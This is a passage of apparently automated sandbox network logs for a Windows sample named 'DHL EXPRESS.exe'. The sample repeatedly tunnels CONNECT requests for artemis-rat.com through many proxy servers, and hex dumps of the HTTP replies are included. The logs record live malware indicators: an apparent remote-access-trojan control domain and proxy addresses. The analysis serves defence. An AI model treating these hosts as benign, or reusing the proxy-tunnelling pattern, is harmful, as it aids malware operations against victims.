75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.8	50483	35.154.71.72	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.748461008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.137290955 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.8	50620	51.158.64.130	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.753179073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.8	49763	138.36.150.16	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.754643917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.8	50458	43.231.22.229	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.759517908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.8	50594	27.0.234.206	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.761962891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.8	50661	174.64.199.79	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.764616966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.8	50719	104.22.50.220	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.766442060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.920914888 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.8	50614	58.234.116.197	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.769459963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.8	50669	190.153.121.2	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.795340061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.8	49808	184.181.217.194	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.795340061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.8	50567	185.132.242.212	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.795439005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.8	50742	172.67.182.107	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.795938015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.950145960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.8	50527	34.93.157.87	21802	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.796190023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.581212997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.753174067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.168108940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.958501101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.769113064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.456665039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.956382990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:32.801067114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.8	50659	188.165.213.106	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.796224117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.835966110 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.8	50733	172.67.127.188	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.796825886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.951107025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.8	50608	51.161.131.84	63055	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.796829939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.8	49801	207.180.234.220	45876	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.812588930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.800239086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909842968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.922121048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.003582954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.155510902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.206310034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:58.206438065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:46.347001076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.8	50642	45.11.95.165	6012	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.820278883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.8	50525	103.190.54.141	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.821026087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.8	50792	104.27.26.29	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.824230909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.978400946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.8	50800	104.27.37.131	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.826006889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.980336905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.8	50795	172.67.181.12	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.828186035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.982639074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.8	50664	193.8.87.43	4444	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.829432964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.8	50835	104.16.241.204	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.834656000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
